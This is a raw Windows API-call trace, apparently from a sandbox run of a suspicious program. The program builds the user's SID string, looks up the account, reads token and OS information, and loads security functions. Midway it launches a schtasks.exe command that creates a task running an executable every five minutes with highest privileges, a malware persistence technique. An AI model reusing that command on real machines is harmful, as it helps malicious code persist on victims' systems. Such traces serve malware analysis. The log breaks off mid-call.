GetSidSubAuthority (pSid=0x2ae2b0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x3) returned 0x2ae2c4 [0127.381] _ultow (in: _Dest=0xe49636b4, _Radix=15190464 | out: _Dest=0xe49636b4) returned="3835049652" [0127.381] malloc (_Size=0x18) returned 0x2aefc0 [0127.381] malloc (_Size=0x18) returned 0x2aefa0 [0127.381] SysStringLen (param_1="S-1-5-21-4219442223-4223814209") returned 0x1e [0127.381] SysStringLen (param_1="-") returned 0x1 [0127.382] memcpy (in: _Dst=0x12d808, _Src=0x116238, _Size=0x3e | out: _Dst=0x12d808) returned 0x12d808 [0127.382] memcpy (in: _Dst=0x12d844, _Src=0x1618e8, _Size=0x4 | out: _Dst=0x12d844) returned 0x12d844 [0127.382] free (_Block=0x2af0c0) [0127.382] free (_Block=0x2aefc0) [0127.382] malloc (_Size=0x18) returned 0x2aefc0 [0127.382] malloc (_Size=0x18) returned 0x2af0c0 [0127.382] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-") returned 0x1f [0127.382] SysStringLen (param_1="3835049652") returned 0xa [0127.382] memcpy (in: _Dst=0x116238, _Src=0x12d808, _Size=0x40 | out: _Dst=0x116238) returned 0x116238 [0127.382] memcpy (in: _Dst=0x116276, _Src=0x1618e8, _Size=0x16 | out: _Dst=0x116276) returned 0x116276 [0127.382] free (_Block=0x2aefa0) [0127.382] free (_Block=0x2aefc0) [0127.382] GetSidSubAuthority (pSid=0x2ae2b0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x4) returned 0x2ae2c8 [0127.382] _ultow (in: _Dest=0x3e8, _Radix=15190464 | out: _Dest=0x3e8) returned="1000" [0127.382] malloc (_Size=0x18) returned 0x2aefc0 [0127.382] malloc (_Size=0x18) returned 0x2aefa0 [0127.382] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652") returned 0x29 [0127.382] SysStringLen (param_1="-") returned 0x1 [0127.382] memcpy (in: _Dst=0x12d808, _Src=0x116238, _Size=0x54 | out: _Dst=0x12d808) returned 0x12d808 [0127.382] memcpy (in: _Dst=0x12d85a, _Src=0x1618e8, _Size=0x4 | out: _Dst=0x12d85a) returned 0x12d85a [0127.382] free (_Block=0x2af0c0) [0127.382] free (_Block=0x2aefc0) [0127.382] malloc (_Size=0x18) returned 0x2aefc0 [0127.383] malloc (_Size=0x18) returned 0x2af0c0 [0127.383] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652-") returned 0x2a [0127.383] SysStringLen (param_1="1000") returned 0x4 [0127.383] memcpy (in: _Dst=0x116238, _Src=0x12d808, _Size=0x56 | out: _Dst=0x116238) returned 0x116238 [0127.383] memcpy (in: _Dst=0x11628c, _Src=0x1618e8, _Size=0xa | out: _Dst=0x11628c) returned 0x11628c [0127.383] free (_Block=0x2aefa0) [0127.383] free (_Block=0x2aefc0) [0127.383] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652-1000") returned 0x2e [0127.383] malloc (_Size=0x5e) returned 0x2b08a0 [0127.383] free (_Block=0x2af0c0) [0127.383] malloc (_Size=0x18) returned 0x2af0c0 [0127.383] free (_Block=0x2b08a0) [0127.383] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x2ae2b0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), Name=0x0, cchName=0xe7ca84, ReferencedDomainName=0x0, cchReferencedDomainName=0xe7ca80, peUse=0xe7cb90 | out: Name=0x0, cchName=0xe7ca84, ReferencedDomainName=0x0, cchReferencedDomainName=0xe7ca80, peUse=0xe7cb90) returned 0 [0127.390] GetLastError () returned 0x7a [0127.390] malloc (_Size=0x14) returned 0x2af0e0 [0127.390] malloc (_Size=0x16) returned 0x2aef80 [0127.390] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x2ae2b0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), Name=0x2af0e0, cchName=0xe7ca84, ReferencedDomainName=0x2aef80, cchReferencedDomainName=0xe7ca80, peUse=0xe7cb90 | out: Name="kEecfMwgj", cchName=0xe7ca84, ReferencedDomainName="Q9IATRKPRH", cchReferencedDomainName=0xe7ca80, peUse=0xe7cb90) returned 1 [0127.391] malloc (_Size=0x18) returned 0x2aefc0 [0127.391] malloc (_Size=0x18) returned 0x2aefa0 [0127.391] free (_Block=0x2af0e0) [0127.391] free (_Block=0x2aef80) [0127.391] free (_Block=0x2affa0) [0127.391] free (_Block=0x2aefa0) [0127.391] free (_Block=0x2aefc0) [0127.391] free (_Block=0x2af0c0) [0127.391] free (_Block=0x2ae2a0) [0127.392] GetVersionExW (in: lpVersionInformation=0xe7cd70*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa746, dwMinorVersion=0x109fb0, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0xe7cd70*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0127.392] GetTokenInformation (in: TokenHandle=0x2d0, TokenInformationClass=0x1, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0xe7cbf8 | out: TokenInformation=0x0, ReturnLength=0xe7cbf8) returned 0 [0127.392] GetLastError () returned 0x7a [0127.392] malloc (_Size=0x2c) returned 0x2ae2e0 [0127.392] GetTokenInformation (in: TokenHandle=0x2d0, TokenInformationClass=0x1, TokenInformation=0x2ae2e0, TokenInformationLength=0x2c, ReturnLength=0xe7cbf8 | out: TokenInformation=0x2ae2e0, ReturnLength=0xe7cbf8) returned 1 [0127.392] IsValidSid (pSid=0x2ae2f0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0127.392] GetLengthSid (pSid=0x2ae2f0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0x1c [0127.392] malloc (_Size=0x1c) returned 0x2affa0 [0127.392] CopySid (in: nDestinationSidLength=0x1c, pDestinationSid=0x2affa0, pSourceSid=0x2ae2f0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)) | out: pDestinationSid=0x2affa0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0127.392] GetSidIdentifierAuthority (pSid=0x2ae2f0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0x2ae2f2 [0127.392] malloc (_Size=0x18) returned 0x2af0c0 [0127.392] _ultow (in: _Dest=0x5, _Radix=15190480 | out: _Dest=0x5) returned="5" [0127.392] malloc (_Size=0x18) returned 0x2aefc0 [0127.392] malloc (_Size=0x18) returned 0x2aefa0 [0127.392] SysStringLen (param_1="S-1-") returned 0x4 [0127.392] SysStringLen (param_1="5") returned 0x1 [0127.392] memcpy (in: _Dst=0x126d68, _Src=0x1398f8, _Size=0xa | out: _Dst=0x126d68) returned 0x126d68 [0127.392] memcpy (in: _Dst=0x126d70, _Src=0x1618e8, _Size=0x4 | out: _Dst=0x126d70) returned 0x126d70 [0127.392] free (_Block=0x2af0c0) [0127.393] free (_Block=0x2aefc0) [0127.393] GetSidSubAuthorityCount (pSid=0x2ae2f0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0x2ae2f1 [0127.393] GetSidSubAuthority (pSid=0x2ae2f0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x0) returned 0x2ae2f8 [0127.393] _ultow (in: _Dest=0x15, _Radix=15190480 | out: _Dest=0x15) returned="21" [0127.393] malloc (_Size=0x18) returned 0x2aefc0 [0127.393] malloc (_Size=0x18) returned 0x2af0c0 [0127.393] SysStringLen (param_1="S-1-5") returned 0x5 [0127.393] SysStringLen (param_1="-") returned 0x1 [0127.393] memcpy (in: _Dst=0x1618e8, _Src=0x126d68, _Size=0xc | out: _Dst=0x1618e8) returned 0x1618e8 [0127.393] memcpy (in: _Dst=0x1618f2, _Src=0x1398f8, _Size=0x4 | out: _Dst=0x1618f2) returned 0x1618f2 [0127.393] free (_Block=0x2aefa0) [0127.393] free (_Block=0x2aefc0) [0127.393] malloc (_Size=0x18) returned 0x2aefc0 [0127.393] malloc (_Size=0x18) returned 0x2aefa0 [0127.393] SysStringLen (param_1="S-1-5-") returned 0x6 [0127.393] SysStringLen (param_1="21") returned 0x2 [0127.393] memcpy (in: _Dst=0x1398f8, _Src=0x1618e8, _Size=0xe | out: _Dst=0x1398f8) returned 0x1398f8 [0127.393] memcpy (in: _Dst=0x139904, _Src=0x126d68, _Size=0x6 | out: _Dst=0x139904) returned 0x139904 [0127.393] free (_Block=0x2af0c0) [0127.393] free (_Block=0x2aefc0) [0127.394] GetSidSubAuthority (pSid=0x2ae2f0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x1) returned 0x2ae2fc [0127.394] _ultow (in: _Dest=0xfb7f942f, _Radix=15190480 | out: _Dest=0xfb7f942f) returned="4219442223" [0127.394] malloc (_Size=0x18) returned 0x2aefc0 [0127.394] malloc (_Size=0x18) returned 0x2af0c0 [0127.394] SysStringLen (param_1="S-1-5-21") returned 0x8 [0127.394] SysStringLen (param_1="-") returned 0x1 [0127.394] memcpy (in: _Dst=0x126d68, _Src=0x1398f8, _Size=0x12 | out: _Dst=0x126d68) returned 0x126d68 [0127.394] memcpy (in: _Dst=0x126d78, _Src=0x1618e8, _Size=0x4 | out: _Dst=0x126d78) returned 0x126d78 [0127.394] free (_Block=0x2aefa0) [0127.394] free (_Block=0x2aefc0) [0127.394] malloc (_Size=0x18) returned 0x2aefc0 [0127.394] malloc (_Size=0x18) returned 0x2aefa0 [0127.394] SysStringLen (param_1="S-1-5-21-") returned 0x9 [0127.394] SysStringLen (param_1="4219442223") returned 0xa [0127.394] memcpy (in: _Dst=0x1179a8, _Src=0x126d68, _Size=0x14 | out: _Dst=0x1179a8) returned 0x1179a8 [0127.394] memcpy (in: _Dst=0x1179ba, _Src=0x1398f8, _Size=0x16 | out: _Dst=0x1179ba) returned 0x1179ba [0127.394] free (_Block=0x2af0c0) [0127.394] free (_Block=0x2aefc0) [0127.394] GetSidSubAuthority (pSid=0x2ae2f0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x2) returned 0x2ae300 [0127.394] _ultow (in: _Dest=0xfbc24a41, _Radix=15190480 | out: _Dest=0xfbc24a41) returned="4223814209" [0127.394] malloc (_Size=0x18) returned 0x2aefc0 [0127.395] malloc (_Size=0x18) returned 0x2af0c0 [0127.395] SysStringLen (param_1="S-1-5-21-4219442223") returned 0x13 [0127.395] SysStringLen (param_1="-") returned 0x1 [0127.395] memcpy (in: _Dst=0x1182b8, _Src=0x1179a8, _Size=0x28 | out: _Dst=0x1182b8) returned 0x1182b8 [0127.395] memcpy (in: _Dst=0x1182de, _Src=0x126d68, _Size=0x4 | out: _Dst=0x1182de) returned 0x1182de [0127.395] free (_Block=0x2aefa0) [0127.395] free (_Block=0x2aefc0) [0127.395] malloc (_Size=0x18) returned 0x2aefc0 [0127.395] malloc (_Size=0x18) returned 0x2aefa0 [0127.395] SysStringLen (param_1="S-1-5-21-4219442223-") returned 0x14 [0127.395] SysStringLen (param_1="4223814209") returned 0xa [0127.395] memcpy (in: _Dst=0x12d808, _Src=0x1182b8, _Size=0x2a | out: _Dst=0x12d808) returned 0x12d808 [0127.395] memcpy (in: _Dst=0x12d830, _Src=0x126d68, _Size=0x16 | out: _Dst=0x12d830) returned 0x12d830 [0127.395] free (_Block=0x2af0c0) [0127.395] free (_Block=0x2aefc0) [0127.395] GetSidSubAuthority (pSid=0x2ae2f0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x3) returned 0x2ae304 [0127.395] _ultow (in: _Dest=0xe49636b4, _Radix=15190480 | out: _Dest=0xe49636b4) returned="3835049652" [0127.395] malloc (_Size=0x18) returned 0x2aefc0 [0127.395] malloc (_Size=0x18) returned 0x2af0c0 [0127.395] SysStringLen (param_1="S-1-5-21-4219442223-4223814209") returned 0x1e [0127.395] SysStringLen (param_1="-") returned 0x1 [0127.396] memcpy (in: _Dst=0x116238, _Src=0x12d808, _Size=0x3e | out: _Dst=0x116238) returned 0x116238 [0127.396] memcpy (in: _Dst=0x116274, _Src=0x126d68, _Size=0x4 | out: _Dst=0x116274) returned 0x116274 [0127.396] free (_Block=0x2aefa0) [0127.396] free (_Block=0x2aefc0) [0127.396] malloc (_Size=0x18) returned 0x2aefc0 [0127.396] malloc (_Size=0x18) returned 0x2aefa0 [0127.396] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-") returned 0x1f [0127.396] SysStringLen (param_1="3835049652") returned 0xa [0127.396] memcpy (in: _Dst=0x12d808, _Src=0x116238, _Size=0x40 | out: _Dst=0x12d808) returned 0x12d808 [0127.396] memcpy (in: _Dst=0x12d846, _Src=0x126d68, _Size=0x16 | out: _Dst=0x12d846) returned 0x12d846 [0127.396] free (_Block=0x2af0c0) [0127.396] free (_Block=0x2aefc0) [0127.396] GetSidSubAuthority (pSid=0x2ae2f0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x4) returned 0x2ae308 [0127.396] _ultow (in: _Dest=0x3e8, _Radix=15190480 | out: _Dest=0x3e8) returned="1000" [0127.396] malloc (_Size=0x18) returned 0x2aefc0 [0127.396] malloc (_Size=0x18) returned 0x2af0c0 [0127.396] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652") returned 0x29 [0127.396] SysStringLen (param_1="-") returned 0x1 [0127.396] memcpy (in: _Dst=0x116238, _Src=0x12d808, _Size=0x54 | out: _Dst=0x116238) returned 0x116238 [0127.396] memcpy (in: _Dst=0x11628a, _Src=0x126d68, _Size=0x4 | out: _Dst=0x11628a) returned 0x11628a [0127.397] free (_Block=0x2aefa0) [0127.397] free (_Block=0x2aefc0) [0127.397] malloc (_Size=0x18) returned 0x2aefc0 [0127.397] malloc (_Size=0x18) returned 0x2aefa0 [0127.397] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652-") returned 0x2a [0127.397] SysStringLen (param_1="1000") returned 0x4 [0127.397] memcpy (in: _Dst=0x12d808, _Src=0x116238, _Size=0x56 | out: _Dst=0x12d808) returned 0x12d808 [0127.397] memcpy (in: _Dst=0x12d85c, _Src=0x126d68, _Size=0xa | out: _Dst=0x12d85c) returned 0x12d85c [0127.397] free (_Block=0x2af0c0) [0127.397] free (_Block=0x2aefc0) [0127.397] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652-1000") returned 0x2e [0127.397] malloc (_Size=0x5e) returned 0x2b08a0 [0127.397] free (_Block=0x2aefa0) [0127.397] malloc (_Size=0x18) returned 0x2aefa0 [0127.398] free (_Block=0x2b08a0) [0127.401] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x2ae2f0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), Name=0x0, cchName=0xe7ca94, ReferencedDomainName=0x0, cchReferencedDomainName=0xe7ca90, peUse=0xe7cb98 | out: Name=0x0, cchName=0xe7ca94, ReferencedDomainName=0x0, cchReferencedDomainName=0xe7ca90, peUse=0xe7cb98) returned 0 [0127.402] GetLastError () returned 0x7a [0127.402] malloc (_Size=0x14) returned 0x2aefc0 [0127.402] malloc (_Size=0x16) returned 0x2af0c0 [0127.402] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x2ae2f0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), Name=0x2aefc0, cchName=0xe7ca94, ReferencedDomainName=0x2af0c0, cchReferencedDomainName=0xe7ca90, peUse=0xe7cb98 | out: Name="kEecfMwgj", cchName=0xe7ca94, ReferencedDomainName="Q9IATRKPRH", cchReferencedDomainName=0xe7ca90, peUse=0xe7cb98) returned 1 [0127.403] malloc (_Size=0x18) returned 0x2aef80 [0127.403] malloc (_Size=0x18) returned 0x2af0e0 [0127.403] free (_Block=0x2aefc0) [0127.403] free (_Block=0x2af0c0) [0127.403] free (_Block=0x2affa0) [0127.403] free (_Block=0x2af0e0) [0127.403] free (_Block=0x2aef80) [0127.404] free (_Block=0x2aefa0) [0127.404] free (_Block=0x2ae2e0) [0127.404] malloc (_Size=0x48) returned 0x2ad220 [0127.404] LoadLibraryW (lpLibFileName="userenv.dll") returned 0x7fefc010000 [0127.410] GetProcAddress (hModule=0x7fefc010000, lpProcName="DestroyEnvironmentBlock") returned 0x7fefc011080 [0127.410] GetProcAddress (hModule=0x7fefc010000, lpProcName="CreateEnvironmentBlock") returned 0x7fefc0110b0 [0127.410] malloc (_Size=0x18) returned 0x2aefa0 [0127.410] CreateEnvironmentBlock () returned 0x1 [0127.415] memcpy (in: _Dst=0xe7cd00, _Src=0xe7dad0, _Size=0x68 | out: _Dst=0xe7cd00) returned 0xe7cd00 [0127.415] malloc (_Size=0x18) returned 0x2aef80 [0127.416] CreateProcessAsUserW (in: hToken=0x2dc, lpApplicationName=0x0, lpCommandLine="schtasks.exe /create /tn \"whatever_onlyw\" /sc MINUTE /mo 5 /tr \"'C:\\comproviderRuntimecommon\\whatever_only.exe'\" /rl HIGHEST /f", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x1000428, lpEnvironment=0x15b300, lpCurrentDirectory=0x0, lpStartupInfo=0xe7cd00*(cb=0x68, lpReserved=0x0, lpDesktop="", lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x5, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0xe7cba0 | out: lpCommandLine="schtasks.exe /create /tn \"whatever_onlyw\" /sc MINUTE /mo 5 /tr \"'C:\\comproviderRuntimecommon\\whatever_only.exe'\" /rl HIGHEST /f", lpProcessInformation=0xe7cba0*(hProcess=0x248, hThread=0x24c, dwProcessId=0xebc, dwThreadId=0xec0)) returned 1 [0127.421] CloseHandle (hObject=0x248) returned 1 [0127.421] CloseHandle (hObject=0x24c) returned 1 [0127.421] free (_Block=0x2aef80) [0127.421] DestroyEnvironmentBlock () returned 0x1 [0127.421] malloc (_Size=0x48) returned 0x2ad270 [0127.421] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xe7ca18 | out: lpSystemTimeAsFileTime=0xe7ca18*(dwLowDateTime=0x1b5670c0, dwHighDateTime=0x1d8a92a)) [0127.421] SetEvent (hEvent=0x1f0) returned 1 [0127.422] CloseHandle (hObject=0x2d0) returned 1 [0127.422] CloseHandle (hObject=0x2dc) returned 1 [0128.094] RtlAllocateHeap (HeapHandle=0xc0000, Flags=0x0, Size=0x4) returned 0xfd950 [0128.094] SetThreadPreferredUILanguages (in: dwFlags=0x8, pwszLanguagesBuffer=0xfd950, pulNumLanguages=0xe7e2b0 | out: pulNumLanguages=0xe7e2b0) returned 1 [0128.094] HeapFree (in: hHeap=0xc0000, dwFlags=0x0, lpMem=0xfd950 | out: hHeap=0xc0000) returned 1 [0129.154] SetLastError (dwErrCode=0x0) [0129.154] GetThreadPreferredUILanguages (in: dwFlags=0x40, pulNumLanguages=0xe7e2b8, pwszLanguagesBuffer=0x0, pcchLanguagesBuffer=0xe7e1c0 | out: pulNumLanguages=0xe7e2b8, pwszLanguagesBuffer=0x0, pcchLanguagesBuffer=0xe7e1c0) returned 1 [0129.154] RtlAllocateHeap (HeapHandle=0xc0000, Flags=0x0, Size=0x8) returned 0xfd960 [0129.155] SetLastError (dwErrCode=0x0) [0129.155] GetThreadPreferredUILanguages (in: dwFlags=0x40, pulNumLanguages=0xe7e2b8, pwszLanguagesBuffer=0xfd960, pcchLanguagesBuffer=0xe7e1c0 | out: pulNumLanguages=0xe7e2b8, pwszLanguagesBuffer=0xfd960, pcchLanguagesBuffer=0xe7e1c0) returned 1 [0129.155] RtlAllocateHeap (HeapHandle=0xc0000, Flags=0x0, Size=0x8) returned 0xfd950 [0129.155] HeapFree (in: hHeap=0xc0000, dwFlags=0x0, lpMem=0xfd960 | out: hHeap=0xc0000) returned 1 [0129.155] RtlAllocateHeap (HeapHandle=0xc0000, Flags=0x0, Size=0x14) returned 0x12f3e0 [0129.155] SetThreadPreferredUILanguages (in: dwFlags=0x8, pwszLanguagesBuffer=0x12f3e0, pulNumLanguages=0xe7e2b8 | out: pulNumLanguages=0xe7e2b8) returned 1 [0129.155] HeapFree (in: hHeap=0xc0000, dwFlags=0x0, lpMem=0x12f3e0 | out: hHeap=0xc0000) returned 1 [0129.156] _wcsicmp (_String1="Create", _String2="Create") returned 0 [0129.157] ?AddRef@CWbemObject@@UEAAKXZ () returned 0x2 [0129.157] ?AddRef@CWbemObject@@UEAAKXZ () returned 0x2 [0129.157] ?Release@CWbemObject@@UEAAKXZ () returned 0x1 [0129.157] ?AddRef@CWbemObject@@UEAAKXZ () returned 0x2 [0129.157] ?AddRef@CWbemObject@@UEAAKXZ () returned 0x2 [0129.157] ?Release@CWbemObject@@UEAAKXZ () returned 0x1 [0129.159] memcpy (in: _Dst=0xe7dad0, _Src=0xe7da50, _Size=0x68 | out: _Dst=0xe7dad0) returned 0xe7dad0 [0129.159] GetCurrentThread () returned 0xfffffffffffffffe [0129.159] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0xb, OpenAsSelf=1, TokenHandle=0xe7cc40 | out: TokenHandle=0xe7cc40*=0x2dc) returned 1 [0129.159] malloc (_Size=0xd8) returned 0x2b35c0 [0129.159] LoadLibraryW (lpLibFileName="ADVAPI32.DLL") returned 0x7fefe7b0000 [0129.159] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="LsaEnumerateTrustedDomains") returned 0x7fefe7f8200 [0129.159] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="LsaQueryInformationPolicy") returned 0x7fefe7d20b0 [0129.159] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="LsaNtStatusToWinError") returned 0x7fefe7f7e40 [0129.160] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="LsaFreeMemory") returned 0x7fefe7be390 [0129.160] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="LsaOpenPolicy") returned 0x7fefe7d0b40 [0129.160] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="LsaClose") returned 0x7fefe7d2040 [0129.160] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="QueryServiceStatusEx") returned 0x7fefe7b7004 [0129.160] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="DuplicateTokenEx") returned 0x7fefe7bd310 [0129.160] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="SetSecurityDescriptorControl") returned 0x7fefe7d3fe4 [0129.160] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="ConvertToAutoInheritPrivateObjectSecurity") returned 0x7fefe7eb828 [0129.160] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="DestroyPrivateObjectSecurity") returned 0x7fefe7bf924 [0129.161] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="CheckTokenMembership") returned 0x7fefe7bd980 [0129.161] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="AddAccessAllowedObjectAce") returned 0x7fefe7eba94 [0129.161] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="AddAccessDeniedObjectAce") returned 0x7fefe7eba30 [0129.161] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="AddAuditAccessObjectAce") returned 0x7fefe7eb9a8 [0129.161] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="SetNamedSecurityInfoW") returned 0x7fefe7b89a0 [0129.161] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="GetNamedSecurityInfoW") returned 0x7fefe7bf990 [0129.161] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="SetNamedSecurityInfoExW") returned 0x7fefe80dc00 [0129.161] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="GetExplicitEntriesFromAclW") returned 0x7fefe7f56a0 [0129.162] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="GetEffectiveRightsFromAclW") returned 0x7fefe7f56f0 [0129.162] malloc (_Size=0x18) returned 0x2aef80 [0129.162] DuplicateTokenEx (in: hExistingToken=0x2dc, dwDesiredAccess=0xb, lpTokenAttributes=0x0, ImpersonationLevel=0x2, TokenType=0x1, phNewToken=0xe7cc48 | out: phNewToken=0xe7cc48*=0x2d0) returned 1 [0129.162] malloc (_Size=0x48) returned 0x2ad3b0 [0129.162] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xe7ca18 | out: lpSystemTimeAsFileTime=0xe7ca18*(dwLowDateTime=0x1c043520, dwHighDateTime=0x1d8a92a)) [0129.162] SetEvent (hEvent=0x1f0) returned 1 [0129.165] GetTokenInformation (in: TokenHandle=0x2dc, TokenInformationClass=0x1, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0xe7cb60 | out: TokenInformation=0x0, ReturnLength=0xe7cb60) returned 0 [0129.165] GetLastError () returned 0x7a [0129.165] malloc (_Size=0x2c) returned 0x2ae2a0 [0129.165] GetTokenInformation (in: TokenHandle=0x2dc, TokenInformationClass=0x1, TokenInformation=0x2ae2a0, TokenInformationLength=0x2c, ReturnLength=0xe7cb60 | out: TokenInformation=0x2ae2a0, ReturnLength=0xe7cb60) returned 1 [0129.165] IsValidSid (pSid=0x2ae2b0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0129.165] GetLengthSid (pSid=0x2ae2b0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0x1c [0129.165] malloc (_Size=0x1c) returned 0x2b0000 [0129.165] CopySid (in: nDestinationSidLength=0x1c, pDestinationSid=0x2b0000, pSourceSid=0x2ae2b0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, 